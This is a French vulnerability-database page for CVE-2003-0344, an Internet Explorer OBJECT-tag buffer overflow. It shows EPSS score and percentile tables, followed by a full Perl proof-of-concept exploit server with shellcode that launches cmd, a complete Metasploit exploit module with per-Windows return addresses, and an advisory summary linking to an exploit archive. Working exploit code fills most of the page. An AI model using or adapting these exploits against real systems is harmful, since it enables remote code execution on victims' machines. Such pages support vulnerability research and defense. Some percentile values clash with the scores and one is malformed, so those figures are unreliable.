CVE-2003-0344 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	86.37%	–	–
2023-03-12	–	–	–	97.21%	–
2023-06-25	–	–	–	97.08%	–
2023-11-19	–	–	–	97.07%	–
2024-04-07	–	–	–	96.97%	–
2024-06-02	–	–	–	96.97%	–
2024-10-20	–	–	–	95.65%	–
2024-12-22	–	–	–	95.73%	–
2025-01-19	–	–	–	95.73%	–
2025-03-18	–	–	–	–	74.05%
2025-03-30	–	–	–	–	74.31%
2025-03-30	–	–	–	–	74.31,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	1%
2023-06-25	1%
2023-11-19	1%
2024-04-07	1%
2024-06-02	1%
2024-10-20	99%
2024-12-22	1%
2025-01-19	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

#!/usr/bin/perl # # Proof of concept exploit on IE 5.x - 6.x by Alumni # IE-Object longtype dynamic call oferflow # # url://<$shellcode><'/'x48><jmp %ptr_sh> # the flaw actually exists in URLMON.DLL when converting backslashes # to wide char, this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'. # # To exploit: i) start server perl script; # ii) connect to http-service using IE/5.x. # a) the shellcode size is limited up to 56 bytes; # b) the '$ret' may differ as well as the image base of KERNEL32.DLL; # c) to avoid multiple encoding the shellcode is given 'as is' with help of JScript. # use IO::Socket; $port = 80; $server = IO::Socket::INET->new (LocalPort => $port, Type =>SOCK_STREAM, Reuse => 1, Listen => $port) or die("Couldnt't create server socket\n"); $shellcode = "\x33\xdb". # xor ebx, ebx "\x8b\xd4". # mov edx, esp "\x80\xc6\xff". # add dh, 0xFF "\xc7\x42\xfc\x63\x6d". # mov dword ptr[edx-4], 0x01646D63 ("cmd\x01") "\x64\x01". # "\x88\x5a\xff". # mov byte ptr[edx-1], bl "\x8d\x42\xfc". # lea eax, [edx-4] "\x8b\xf5". # mov esi, ebp "\x56\x52". # push esi; push edx "\x53\x53\x53\x53\x53\x53". # push ebx "\x50\x53". # push eax; push ebx "\xb8\x41\x77\xf7\xbf". # mov eax, 0xBFF77741 ~= CreateProcessA "\xff\xd0". # call eax "\xb8\xf8\xd4\xf8\xbf". # mov eax, 0xBFF8D4F8 ~= ExitProcess "\xff\xd0". # call eax "\xcc"; # int 3 $nop = "\x90"; $ret = "\\xAB\\x5D\\x58"; while ($client = $server->accept()) { while (<$client>) { if ($_ =~ /^(\x0D\x0A)/) { print $client <<END_DATA; HTTP/1.0 200 Ok\r Content-Type: text/html\r \r &lt;script&gt;\r var mins = 56;\r var size = 48;\r var sploit = "$shellcode";\r var strNop = "$nop";\r var strObj = '&lt;object type="';\r for (i=0;i<mins-sploit.length;i++) strObj += strNop;\r strObj += sploit;\r for (i=0;i<size;i++) strObj += '/';\r strObj += "CCCCCCCCDDDDDDDD";\r strObj += "$ret";\r strObj += '">Hello&lt;/object&gt;';\r alert(strObj);\r document.write(strObj);\r &lt;/script&gt;\r END_DATA close($client); } } } close($server); # milw0rm.com [2003-06-07]

## # $Id: ms03_020_ie_objecttype.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :javascript => false, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it :prefix_html => "<!--[if lt IE 7]>", :postfix_html => "<![endif]-->", :rank => NormalRanking # reliable memory corruption }) def initialize(info = {}) super(update_info(info, 'Name' => 'MS03-020 Internet Explorer Object Type', 'Description' => %q{ This module exploits a vulnerability in Internet Explorer's handling of the OBJECT type attribute. }, 'Author' => 'skape', 'License' => MSF_LICENSE, 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2003-0344' ], [ 'OSVDB', '2967' ], [ 'BID', '7806' ], [ 'MSB', 'MS03-020' ], ], 'Payload' => { 'Space' => 1000, 'MaxNops' => 0, 'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification 'StackAdjustment' => -3500, }, 'Targets' => [ # Target 0: Automatic [ 'Windows NT/XP/2003 Automatic', { 'Platform' => 'win', 'Rets' => [ 0x777e85ab, # Windows NT: samlib jmp esp 0x71ab1d54, # Windows XP: ws2_32 push esp/ret SP0/1 0x77d1f92f, # Windows 2003: user32 jmp esp SP0/1 ], }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 04 2003')) end def on_request_uri(cli, request) clean = 0x7ffdec50 ret = nil # Figure out which return address to use based on the user-agent case request['User-Agent'] when /Windows NT 5.2/ ret = target['Rets'][2] when /Windows NT 5.1/ ret = target['Rets'][1] when /Windows NT/ ret = target['Rets'][0] else print_status("Sending 404 to user agent: #{request['User-Agent']}") cli.send_response(create_response(404, 'File not found')) return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Pack the values ret = [ ret ].pack('V') clean = [ clean ].pack('V') hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true }) egg = hunter[1] # Now, build out the HTTP response payload content = "<html>" + egg + "\n" + "<object type=\"////////////////////////////////////////////////////////////////" + rand_text_alphanumeric(8) + ret + clean + make_nops(8) + hunter[0] + "\">" + "</object>" + "</html>" print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

source: https://www.securityfocus.com/bid/7806/info Microsoft Internet Explorer is prone to a boundary condition error when handling OBJECT tags in web pages. When a web page containing an OBJECT tag using a parameter containing excessive data is encountered by a vulnerable client, a internal memory buffer will be overrun. This could cause Internet Explorer to fail or potentially result in the execution arbitrary code in the security context of the current user. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22726.tar